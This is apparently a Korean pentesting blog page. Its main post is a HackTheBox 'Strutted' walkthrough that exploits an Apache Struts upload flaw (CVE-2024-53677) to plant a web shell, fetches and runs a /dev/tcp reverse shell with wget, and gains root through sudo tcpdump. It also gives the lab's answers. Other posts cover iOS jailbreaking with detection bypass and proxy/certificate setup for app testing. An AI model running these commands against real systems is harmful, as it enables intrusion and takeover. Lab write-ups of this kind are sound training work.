┌──(root㉿kali)-[~]
└─# nmap -sV 10.10.11.59 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-21 09:08 EDT
Nmap scan report for strutted.htb (10.10.11.59)
Host is up (0.36s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.18 seconds

 

노출된 기본 80 포트 접근시 strutted.htb로 리다이렉트 되지만 연결은 안되서  /etc/hosts 파일 변경

  hosts 파일에 아래 코드 추가 

10.10.11.59 strutted.htb

 

 

아래 메인 페이지 접근 후 Download 시도

다운로드 zip 파일 풀기

unzip strutted.zip -d strutted

압축 파일의 dockerfile 내용을 보게되면  tomcat으로 구성된 docker 파일임을 확인

 

strutted 폴더 내 pom.xml 확인 시 취약한 apache struts 6.3.0.1을 사용중임을 확인

해당 버전 취약점은 업로드 시 경로를 변경하여 파일을 업로드 가능한 취약점

 

이미지 파일 업로드 시도

 

파일 업로드 시 아래 패킷을 잡아 변조 시도

변조된 패킷값

상단 파일 name은 upload 앞 문자를 대문자로 할 것 인터셉터한 post 는 대문자가 아니면 패킷이 정상 전송이 안되는 듯 함 다른 블로그 참고하여 이용함

shell code 란 부분에는 원하는 jsp 웹쉘을 넣으면 됨

 

쉘을 얻었으나 이제 wget을 통해 백도어 접근 시도

bash -i >& /dev/tcp/10.10.16.61/443 0>&1 라는 shell.sh 파일 생성

python -m http.server 8888 #8888포트 열어둠

host -I 를 통해 현재 IP를 확인 후 wget을 통해 shell.sh 희생자 서버로 가져옴


wget 10.10.16.61:8888/shell.sh -O /dev/shm/shell.sh


bash /dev/shm/shell.sh #쉘 실행

 

 

┌──(root㉿kali)-[/home/kali/Downloads]
└─# nc -lnvp 443        
listening on [any] 443 ...
connect to [10.10.16.61] from (UNKNOWN) [10.10.11.59] 58476
bash: cannot set terminal process group (1053): Inappropriate ioctl for device
bash: no job control in this shell
tomcat@strutted:~$ whoami
whoami
tomcat
tomcat@strutted:~$ ls
ls
conf
lib
logs
policy
webapps
work
tomcat@strutted:~$ cd conf
cd conf
tomcat@strutted:~/conf$ ls
ls
Catalina
catalina.properties
context.xml
jaspic-providers.xml
logging.properties
policy.d
server.xml
tomcat-users.xml
web.xml
tomcat@strutted:~/conf$

 

권한이 높은 계정 확인 시 james 계정을 확인

cat /etc/passwd | grep 'sh$'


root:x:0:0:root:/root:/bin/bash
james:x:1000:1000:Network Administrator:/home/james:/bin/bash

 

내부 시스템 파일 확인하다가 conf/tomcat-user.xml에 비밀번호가 노출됨을 확인

<!--
  <user username="admin" password="<must-be-changed>" roles="manager-gui"/>
  <user username="robot" password="<must-be-changed>" roles="manager-script"/>
  <role rolename="manager-gui"/>
  <role rolename="admin-gui"/>
  <user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>
--->

 

노출된 비밀번호로 james 계정 로그인 성공

──(root㉿kali)-[/home/kali/Downloads]
└─# ssh james@10.10.11.59
james@10.10.11.59's password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-130-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Wed May 21 01:51:22 PM UTC 2025

  System load:           0.0
  Usage of /:            69.6% of 5.81GB
  Memory usage:          10%
  Swap usage:            0%
  Processes:             212
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.59
  IPv6 address for eth0: dead:beef::250:56ff:feb0:e18d


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

5 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Jan 21 13:46:18 2025 from 10.10.14.64
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

james@strutted:~$

 

sudo -l 을 통해 사용 가능한 root 권한 명령어는 tcpdump 임을 확인

root shell 생성 방법을 서칭 하였더니 아래 사이트 발견 및 코드 응용

https://gtfobins.github.io/gtfobins/tcpdump/

james@strutted:~$ sudo -l
Matching Defaults entries for james on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User james may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/sbin/tcpdump
// 응용 코드
james@strutted:~$ COMMAND='cp /bin/bash /tmp/bash; chmod 6777 /tmp/bash'
james@strutted:~$ TF=$(mktemp)
james@strutted:~$ echo "$COMMAND" > $TF
james@strutted:~$ chmod +x $TF
james@strutted:~$ sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file limit reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel
james@strutted:~$ /tmp/bash -p
bash-5.1# ls
user.txt

 

root 권한 쉘 획득 성공

 

 

 

Task 1

How many open TCP ports are listening on Strutted?

정답 : 2 

 

Task 2 

Clicking Download triggers a zip file download containing the Docker environment for the application, what is the name of the application server running on the target?

정답 : tomcat

 

Task 3

In a Java project, what is the name of this file that contains the dependencies for the application?

정답 : pom.xml

 

Task 4

What is the name of the MVC framework used by the application?

정답 : apache struts

pom.xml에 나온 struts와 버전 정보

Task 5

What version of the framework does the application use?

정답 : 6.3.0.1

 

Task 6

What is the 2024 CVE ID assigned to a vulnerability in the file upload logic vulnerability in Apache Struts?

struts에서 나온 취약점은 파일 업로드 취약점으로 CVE-2024-53677

정답 : CVE-2024-53677

 

Task 7

What system user is the web application running as on Strutted?

정답 : tomcat

 

Task 8

What is the james user's password on Strutted?`

정답 : IT14d6SSP81k

'Coding > HTB' 카테고리의 다른 글

HTB 연결 방법  (0) 2025.05.18

HTB 문제를 풀려고 처음 접근할려면 어떻게 세팅하는지 어려울 것이다.

 

이번에는 어떻게 HTB 세팅을 해야하는지와 어떤식으로 문제를 풀어야하는지 예시를 제공하기 위해 글을 작성한다.

 

 

HTB 세팅을 위해서는 두가지 접근 방법이 있는데

 

pwnbox와 openvpn가 존재한다. pwnbox는 가상리눅스에 접근하는 것이고 openvpn은 현재 내가 사용하는 리눅스에서 vpn을 통한 탈취 서버에 접근하는 것이다.

 

필자는 kali에 모든 걸 세팅하였기에 openvpn 기준으로 알려주겠다.

 

현재 세팅 환경
kali + oracle virtualBox 즉 가상환경에 칼리를 설치하여 사용중

 

맨처음 academy와 labs가 있는데 우선 사용법을 익히기 위해서는 Labs를 추천한다.

 

Labs에 접근하면 Starting Point가 존재한다 여기서 Meow에 접근하고 connet using OpenVpn을 클릭 시 openvpn 확장자 파일을 다운로드 받을 것이다.

 

이제 그 openvpn을 연결하면 되는데

apt-get update
apt-get install openvpn

Openvpn Starting_point_username.ovpn

 

이렇게 하면 연결이 끝난다

 

이후에는 namp는 여러 툴들을 이용하여 문제를 풀어가면 된다.

'Coding > HTB' 카테고리의 다른 글

Stutted  (0) 2025.05.21

 

최근 괜찮은 탈옥 툴이 나와서 게시글을 작성한다.

 

Dopamine 이라는 툴인데 해당 툴의 경우 Checkra1n나 palera1n 처럼 컴퓨터가 필요 없다.

 

장점은 언제나 폰이 꺼지면 dopamine을 켜서 탈옥 누르면 바로 탈옥이 완료된다는 것이다. 추가적으로 탈옥 우회 기능도 탑제하고 있어서 활성화 시 탈옥 탐지 우회를 높은 확률로 성공한다.

 

해당 툴 사용 가능한 버전과 기기는 아래와 같다

iOS and ipadOS:

15.0
15.0.1
15.0.2
15.1
15.1.1

15.2
15.2.1
15.3
15.3.1
15.4

15.4.1

A12:
iPhone Xs
iPhone Xs Max
iPhone XR
iPad mini (5th)
iPad Air (3rd)

iPad 8th
A12X:
iPad Pro 11 (1st)
iPad Pro 12.9 (3rd)
A12Z:
iPad Pro 11 (2nd)
iPad Pro 12.9 (4th)
A13:
iPhone 11
iPhone 11 Pro
iPhone 11 Pro Max
iPhone SE (2nd)

iPad 9th
A14:
iPhone 12 mini
iPhone 12
iPhone 12 Pro
iPhone 12 Pro Max

iPad Air (4th)
A15:
iPhone:
iPhone 13 mini
iPhone 13
iPhone 13 Pro
iPhone 13 Pro Max
iPad:
iPad mini (6th)
M1:
iPad Pro 11 (3rd)
iPad Pro 12.9 (5th)
   

https://ellekit.space/dopamine/

 

Dopamine

arm64e Jailbreak for iOS 15.0-15.4.1

ellekit.space

 

 

우선 설치를 위해서는 트롤스토어 설치가 우선 시 된다.

https://github.com/opa334/TrollStore/releases/tag/1.5.1

 

Release 1.5.1 · opa334/TrollStore

Fix crash on uninstallation

github.com

아이폰 Safari로 트롤스토어를 다운받는다.

설치하면 GTACarTracker가 생성 되는데 해당 앱으로 접속한다.

 

접속 시 Install TrollStore 버튼이 있어서 설치 시 TrollStore가 설치된다. 매우 쉽다.

 

그 후 아래 경로로 최신 dopamine을 다운 받는다.

https://github.com/opa334/Dopamine/releases/tag/1.1.10

 

Release 1.1.10 · opa334/Dopamine

Fix an issue where on some devices launchd would get killed by jetsam during the initial userspace reboot, resulting in a kernel panic (1.1.3 regression) Fix an issue where under some super rare ci...

github.com

 

필자의 경우 타 개발자가 기존 dopamine에서 Roothide 기능을 추가한 Roothide dopamine을 설치했다.

https://github.com/RootHide/Dopamine-roothide/releases/tag/1.0.6

 

Release 1.0.6 · RootHide/Dopamine-roothide

1: Merge the latest code of dopamine 2: Improve performance and stability through improved jit activation timing this version contains many bug fixes and stability and performance improvements, eve...

github.com

 

 

다운로드 후 내보내기를 통해 TrollStore로 해당 설치파일을 열어 Install

 

설치된 도파민 앱 접속 시 탈옥 버튼이 있는데 이것만 누르면 탈옥이 완료된다.

 

탈옥 중인 Dopamine 완료 시 아래와 같이 "탈옥이 되었습니다"라는 문구가 나오게 된다.

 

그러면 Sileo와 RootHide가 설치되는데 이제 관련 트윅을 다운로드 받아 설치하면  커스텀하여 아이폰 사용이 가능하다.

 

RootHide 트윅의 경우 RootHide dopamine에서만 나타나고 탈옥 탐지 우회를 더 강하게 해준다는데 우선 한번 더 확인이 필요하다.

 

한가지 조심해야할 점은 frida를 직접 앱에 붙이기 위해서는 Pid로 붙어야지 패키지명으로 하면 자체 탈옥 탐지 우회 기능떄문에 앱 연결이 끊겨 frida가 작동하질 않는다.

'APP 모의해킹 > iOS' 카테고리의 다른 글

palera1n ios 15~16 탈옥방법 with 맥북  (0) 2023.06.18
Tweak setting  (0) 2023.04.23
iOS Setting  (0) 2023.04.03
iOS 탈옥 탐지 우회 예시 코드 [추가 업로드예정]  (0) 2023.03.30
iOS 정적 분석  (0) 2023.03.30

가끔 TCP 통신하는 앱의 경우 해당 패킷을 잡기 위해 Burp 에서 제공하는 NoPE Proxy를 사용해야한다.

 

가장 먼저 Burp 인증서가 단말기 내에 존재해야하니 명심할 것.

 

Burp > Extensions > BAPP Store > 검색창에 NoPE Proxy 검색 후 설치

아래 그림과 같이 세팅 우측 상단 Interface는 IP 설정을 위한 번호이다. 하단 12) wlan1 :192.168.0.17 즉 아이피에 번호를 매겨 쉽게 DNS IP를 설정하는 곳이다.

interface 는 12로 세팅 그리고 add 80 & 443 to Burp 를 눌러 80,443 포트로 리스너로 설정해준다.

 Proxy listeners 세팅

다음은 아래와같이 단말기 세팅이 필요하다.

적어 놓은 대로 세팅해 놓으면 된다.

필자의 경우 프록시도 같이 아래와 같이 세팅하니 패킷이 잡혔으니 이점도 유의하자.

그러면 이제 TCP 패킷이 잡힐 것이다.

얘 때문에 하루를 여기다가 다 써서 진이 빠진다.

'APP 모의해킹 > Android' 카테고리의 다른 글

Hooking 함수명 모를때  (0) 2023.05.11
루팅 탐지 우회 모듈  (0) 2023.04.11
Scrcpy 안드로이드 앱 화면 공유  (0) 2023.04.11
Frida Hooking  (0) 2023.03.29
Burp 인증서 설치  (0) 2023.03.28

이번에 frida-ios-dump를 사용하는데 계쏙 Winerror 2가 떠서 앱 덤프가 안됐다.

 

이에 대한 해결방안에 대해서 적도록한다.

[WinError 2] 지정된 파일을 찾을 수 없습니다. 

PermissionError: [WinError 5] 액세스가 거부되었습니다

해당 2개의 에러의 경우 윈도우에서 리눅스 명령어를 사용하다보니 에러가 발생하는 거라서 윈도우에서 리눅스 명령어 사용을 하게 해주는 프로그램만 설치하면된다. 

아래 링크로 들어가 Gow-0.8.0.exe 설치할것

https://github.com/bmatzelle/gow/releases

 

Releases · bmatzelle/gow

Unix command line utilities installer for Windows. - bmatzelle/gow

github.com

추가적으로 해결안된다면 기존에 payload 파일이 삭제되지 않아서 에러가 뜨는거기 떄문에 아래 경로로 가서 payload 폴더를 삭제한다.

C:\Users\[사용자 이름]\AppData\Local\Temp

만약 이마저도 안된다면 dump.py 내 해당 경로를 지정하는 코드가 있는데 이런식으로 내가 만든 폴더에 payload 파일이 저장되도록해준다.

TEMP_DIR = "C:\\Users\\Tyrell\\Desktop\\dump"

https://www.telerik.com/download/fiddler

 

Download Fiddler Web Debugging Tool for Free by Telerik

Download and install Fiddler Classic web debugging tool. Watch a quick tutorial to get started.

www.telerik.com

모바일 진단할 때 Burp를 이용하여 패킷을 확인하는데 특정 앱의 경우 통신 시간이 너무 오래 걸리는 경우가 있다.

인증서 문제인지는 모르겠지만 해당 문제는 Burp와 모바일 사이에 Fiddler를 연동시켜주면 해결이 된다.

 

우선 피들러를 다운받고 설치해준다. 그 후 Options 접속

 

 

HTTPS 옵션에서 Decrypt HTTPS traffic, Ignore server certificate errors, check for certificate revocation 을 체크 해준다.

하는 도중에 경고 뜨는게 좀 있을 텐데 다 YES로 진행  ←해당과정은 HTTPS 통신하는 패킷을 잡기 위해서 필수

 

 

그리고 Actions에서 Trust Root Certificate도 YES 해서 인증서를 해당 PC에 설치해 준다.

 

 

Connections 부분도 아래와 같이 세팅 여기까지 진행 후 설정 적용을 위해 껐다가 다시 피들러 실행할 것

 

 

이제 단말기에서 Fiddler 인증서를 설치해야한다. Proxy 설정을 아래와 같이 진행

다만 서버 IP의 경우 진행중인 PC의 아이피로 진행해야하고 같은 네트워크 상에 있어야 한다.

 

 

그 다음에 단말기에서 해당 https://192.168.0.17:8888 로 접속 후 certificate를 설치해 준다.

ios 에서는 사파리로 들어가야 해당 인증서가 깔리니 크롬으로 들어가지 말 것

 

 

 

피들러는 8080 포트를 프록시로 설정해 Burp에서 패킷을 잡을 수 있게한다.

 

 

Burp는 피들러와의 연동을 위해 8080 포트를 All interface로 진행한다. 127.0.0.1로 진행해도 상관 없을 거 같긴하다.

 

 

이러면 패킷이 정상적으로 잡힐 것이다.

 

만약 안된다면 피들러를 한번 껐다가 다시 켜볼것

 

+ 필터가 필요하다면 아래와 같이 세팅

안드로이드의 경우 안드로이드 8버전 이상부터 인증서를 직접 수정해서 넣어줘야 신뢰할 수 있는 인증서 획득이 가능하다.

왼쪽 하단 QuickExec에 about:config 입력 후 엔터시 설정이 나오는데 아래와 같은 설정이 없다면

아래 명령어를 순차적으로  QuickExec에 넣어서 작동시켜줘야한다.

PREFS SET fiddler.certmaker.validdays 360
PREFS SET fiddler.certmaker.gracedays 1

그 후 아래와 같이 인증서 초기화 및 새로 발급받는다.

추출된 파일은 바탕화면에 존재한다.

해당 인증서는 openssl로 안드로이드 단말기 내에서 사용할 수 있는 파일로 만들어 집어넣는다.

# 확장자 der로 변경
openssl x509 -inform DER -in FiddlerRoot.der -out FiddlerRoot.pem
openssl x509 -inform PEM -subject_hash_old -in FiddlerRoot.pem | head -1
# 위 결과값을 이름으로 변경하고 확장자를 <해쉬값>.0 으로 변경해준다.
mount -o rw,remount /system
chmod 644 269953fb.0
mv 269953fb.0 /system/etc/security/cacerts/
#만약 인식 안되면 재부팅

'APP 모의해킹 > Setting' 카테고리의 다른 글

TCP Proxy  (0) 2023.04.04
Objection + frida-trace  (0) 2023.04.04
IDA Setting  (0) 2023.04.03
Anaconda Setting for virtual environment + frida  (0) 2023.03.23
pip 인증서 문제  (0) 2023.03.22

+ Recent posts